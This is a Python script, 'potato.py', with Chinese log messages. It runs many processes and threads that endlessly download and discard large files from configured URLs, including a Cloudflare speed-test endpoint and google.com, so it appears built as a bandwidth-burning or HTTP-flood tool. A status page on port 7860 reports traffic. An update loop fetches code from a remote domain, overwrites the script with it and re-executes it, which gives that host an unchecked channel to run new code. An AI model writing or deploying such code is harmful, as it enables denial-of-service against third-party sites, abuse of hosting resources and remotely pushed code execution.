|
import hashlib |
|
import concurrent.futures |
|
import time |
|
import http.server |
|
import socketserver |
|
import threading |
|
import psutil |
|
import traceback |
|
import sys |
|
import os |
|
|
|
port = 7860 |
|
wait_second = 1 |
|
update_when_run_scripts = True |
|
script_name = "potato.py" |
|
script_url = "https://potato.fuckgyz.eu.org/potato.py" |
|
import_str = "psutil==5.9.1 requests==2.31.0 selenium==4.10.0" |
|
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1788.0" |
|
|
|
task_list = [ |
|
[ |
|
"get", |
|
{ |
|
"process": 1, |
|
"threads": 1, |
|
"url": "http://6.6.6.6", |
|
"headers": { |
|
"User-Agent": user_agent, |
|
|
|
|
|
|
|
|
|
}, |
|
"data": { |
|
|
|
} |
|
} |
|
], |
|
[ |
|
"get", |
|
{ |
|
"process": 8, |
|
"threads": 128, |
|
"url": "https://cache.fuckgyz.eu.org/100m.bin", |
|
"headers": { |
|
"User-Agent": user_agent, |
|
|
|
|
|
|
|
|
|
}, |
|
"data": { |
|
|
|
} |
|
} |
|
], |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
] |
|
|
|
task_get_data = { |
|
"process": 8, |
|
"threads": 128, |
|
"url": "http://speed.cloudflare.com/__down?bytes=1145141919810", |
|
"headers": { |
|
"User-Agent": user_agent, |
|
|
|
|
|
|
|
|
|
}, |
|
"data": { |
|
|
|
} |
|
} |
|
task_post_data = { |
|
"process": 8, |
|
"threads": 128, |
|
"url": "https://www.google.com", |
|
"headers": { |
|
"User-Agent": user_agent, |
|
|
|
|
|
|
|
|
|
}, |
|
"data": { |
|
|
|
} |
|
} |
|
task_browser_data = { |
|
"process": 8, |
|
"threads": 1, |
|
"url": "https://www.google.com", |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
} |
|
|
|
task_workers = [] |
|
success = 0 |
|
failed = 0 |
|
total = 0 |
|
net_s1 = "" |
|
net_s2 = "" |
|
net_s3 = "" |
|
net_s4 = "" |
|
net_s5 = "" |
|
|
|
|
|
def restart(): |
|
print("正在重启脚本") |
|
|
|
for task in task_workers: |
|
print(f"结束子进程:{str(task_workers.index(task))}") |
|
try: |
|
task.terminate() |
|
except: |
|
traceback.print_exc() |
|
print(f"子进程结束失败!索引:{str(task_workers.index(task))}") |
|
pass |
|
print(f"子进程:{str(task_workers.index(task))} 结束成功") |
|
|
|
print("开始重启主线程") |
|
python = sys.executable |
|
os.execl(python, python, *sys.argv) |
|
|
|
|
|
def update(): |
|
import requests |
|
i = 0 |
|
while True: |
|
try: |
|
if i == 0 and not update_when_run_scripts: |
|
time.sleep(300) |
|
i += 1 |
|
print("开始检查更新") |
|
response = requests.get(script_url) |
|
sha256_hash_old = hashlib.sha256(open(script_name, 'rb').read()).hexdigest() |
|
sha256_hash_new = hashlib.sha256(response.content).hexdigest() |
|
if sha256_hash_old == sha256_hash_new: |
|
print(f"{str(sha256_hash_old)} == {str(sha256_hash_new)}") |
|
print("已是最新版本") |
|
time.sleep(60) |
|
continue |
|
print("发现新版本代码,开始更新") |
|
print("写入到:" + script_name) |
|
with open(script_name, 'wb') as file: |
|
file.write(response.content) |
|
print("写入成功\n重新运行脚本") |
|
restart() |
|
except: |
|
traceback.print_exc() |
|
print("更新出现错误") |
|
time.sleep(60) |
|
|
|
|
|
def import_init(): |
|
try: |
|
import hashlib |
|
import threading |
|
import time |
|
import traceback |
|
import requests |
|
import sys |
|
import os |
|
import selenium |
|
except: |
|
try: |
|
print("部分依赖未安装,正在安装依赖") |
|
os.system(f"pip install {import_str}") |
|
print("依赖安装完成") |
|
except: |
|
print("依赖安装失败,请检查报错") |
|
|
|
|
|
def get_worker(i, task_data): |
|
import requests |
|
|
|
def get(): |
|
global success |
|
global failed |
|
global total |
|
with requests.get(task_data["url"], headers=task_data["headers"], |
|
data=task_data["data"] if task_data["data"] != {} else None, stream=True) as r: |
|
if r.status_code == requests.codes.ok: |
|
for _ in r.iter_content(chunk_size=1048576): |
|
pass |
|
total += 1 |
|
if r.status_code == 200: |
|
success += 1 |
|
else: |
|
failed += 1 |
|
r.close() |
|
|
|
def monitor(): |
|
while True: |
|
print(f"Worker: {str(i)}, Success: {str(success)}, Failed: {str(failed)}, Total: {str(total)}") |
|
print(f"Task URL: " + task_data["url"]) |
|
time.sleep(1) |
|
|
|
print(f"get任务{str(i)}开始运行") |
|
threading.Thread(target=monitor).start() |
|
while True: |
|
try: |
|
executor = concurrent.futures.ThreadPoolExecutor(max_workers=task_data["threads"]) |
|
while True: |
|
if executor._work_queue.qsize() < executor._max_workers: |
|
executor.submit(get) |
|
else: |
|
time.sleep(0.5) |
|
except: |
|
traceback.print_exc() |
|
print("get任务运行出现错误,重试...") |
|
time.sleep(1) |
|
|
|
|
|
def post_worker(i, task_data): |
|
import requests |
|
|
|
def post(): |
|
global success |
|
global failed |
|
global total |
|
with requests.post(task_data["url"], headers=task_data["headers"], |
|
data=task_data["data"] if task_data["data"] != {} else None, stream=True) as r: |
|
if r.status_code == requests.codes.ok: |
|
for _ in r.iter_content(chunk_size=1048576): |
|
pass |
|
total += 1 |
|
if r.status_code == 200: |
|
success += 1 |
|
else: |
|
failed += 1 |
|
r.close() |
|
|
|
def monitor(): |
|
while True: |
|
print(f"Worker: {str(i)}, Success: {str(success)}, Failed: {str(failed)}, Total: {str(total)}") |
|
print(f"Task URL: " + task_data["url"]) |
|
time.sleep(1) |
|
|
|
print(f"post任务{str(i)}开始运行") |
|
threading.Thread(target=monitor).start() |
|
while True: |
|
try: |
|
executor = concurrent.futures.ThreadPoolExecutor(max_workers=task_data["threads"]) |
|
while True: |
|
if executor._work_queue.qsize() < executor._max_workers: |
|
executor.submit(post) |
|
else: |
|
time.sleep(0.5) |
|
except: |
|
traceback.print_exc() |
|
print("post任务运行出现错误,重试...") |
|
time.sleep(1) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def do_task_worker(i, task): |
|
import multiprocessing |
|
global task_workers |
|
print("开始运行线程:" + str(i)) |
|
kv = { |
|
"get": get_worker, |
|
"post": post_worker, |
|
|
|
} |
|
p_pool = [] |
|
for i in range(task[1]["process"]): |
|
try: |
|
print("开始运行任务:") |
|
print(task[1]) |
|
p = multiprocessing.Process(target=kv[task[0]], args=(i, task[1])) |
|
except: |
|
print(f"未知的任务类型:{task[0]},请重新配置") |
|
return |
|
task_workers.append(p) |
|
p_pool.append(p) |
|
p.start() |
|
for p in p_pool: |
|
p.join() |
|
print(f"线程:{str(i)}, 任务运行完成") |
|
|
|
|
|
def monitor_network(): |
|
global net_s1 |
|
global net_s2 |
|
global net_s3 |
|
global net_s4 |
|
global net_s5 |
|
last_sent_bytes = psutil.net_io_counters().bytes_sent |
|
last_recv_bytes = psutil.net_io_counters().bytes_recv |
|
while True: |
|
time.sleep(wait_second) |
|
current_sent_bytes = psutil.net_io_counters().bytes_sent |
|
current_recv_bytes = psutil.net_io_counters().bytes_recv |
|
sent_bytes = current_sent_bytes - last_sent_bytes |
|
sent_speed = psutil._common.bytes2human(int(sent_bytes / wait_second)) + "/s" |
|
recv_bytes = current_recv_bytes - last_recv_bytes |
|
recv_speed = psutil._common.bytes2human(int(recv_bytes / wait_second)) + "/s" |
|
last_sent_bytes = current_sent_bytes |
|
last_recv_bytes = current_recv_bytes |
|
net_s1 = f"Total network traffic: {psutil._common.bytes2human(current_sent_bytes + current_recv_bytes)}" |
|
net_s2 = f"Sent traffic in the last {str(wait_second)} seconds: " + psutil._common.bytes2human(sent_bytes) |
|
net_s3 = "Sent speed: " + sent_speed |
|
net_s4 = f"Received traffic in the last {str(wait_second)} seconds: {psutil._common.bytes2human(recv_bytes)}" |
|
net_s5 = "Received speed: " + recv_speed |
|
print("\n" + net_s1) |
|
print(net_s2) |
|
print(net_s3) |
|
print(net_s4) |
|
print(net_s5 + "\n") |
|
|
|
|
|
def generate_tasks_page(): |
|
s = "" |
|
for i in task_list: |
|
s += i[0] + ": " + i[1]["url"] + "<br>" |
|
return s |
|
|
|
|
|
class MyRequestHandler(http.server.BaseHTTPRequestHandler): |
|
def do_GET(self): |
|
self.send_response(200) |
|
self.send_header("Content-type", "text/html") |
|
self.end_headers() |
|
po_list_bytes = generate_tasks_page().encode(encoding='utf-8') |
|
net_s1_bytes = net_s1.encode(encoding='utf-8') |
|
net_s2_bytes = net_s2.encode(encoding='utf-8') |
|
net_s3_bytes = net_s3.encode(encoding='utf-8') |
|
net_s4_bytes = net_s4.encode(encoding='utf-8') |
|
net_s5_bytes = net_s5.encode(encoding='utf-8') |
|
self.wfile.write( |
|
b"<html><body><h1>This is Potato Page!</h1><p>There is a po-ta-to list:</p><p>" + po_list_bytes + b"</p><p>" + net_s1_bytes + b"<br>" + net_s2_bytes + b"<br>" + net_s3_bytes + b"<br>" + net_s4_bytes + b"<br>" + net_s5_bytes + b"</p></body></html>") |
|
|
|
|
|
def http_server_init(): |
|
with socketserver.TCPServer(("", port), MyRequestHandler) as httpd: |
|
print("Server started at http://localhost:{}".format(port)) |
|
httpd.serve_forever() |
|
|
|
|
|
def init(): |
|
threading.Thread(target=update).start() |
|
threading.Thread(target=http_server_init).start() |
|
threading.Thread(target=monitor_network).start() |
|
import_init() |
|
for i in range(len(task_list)): |
|
threading.Thread(target=do_task_worker, args=(i, task_list[i])).start() |
|
print("初始化成功") |
|
while True: |
|
time.sleep(60) |
|
|
|
|
|
if __name__ == "__main__": |
|
while True: |
|
try: |
|
init() |
|
print("出现错误,重新运行") |
|
time.sleep(1) |
|
except: |
|
traceback.print_exc() |
|
print("出现错误,重新运行") |
|
time.sleep(1) |
|
|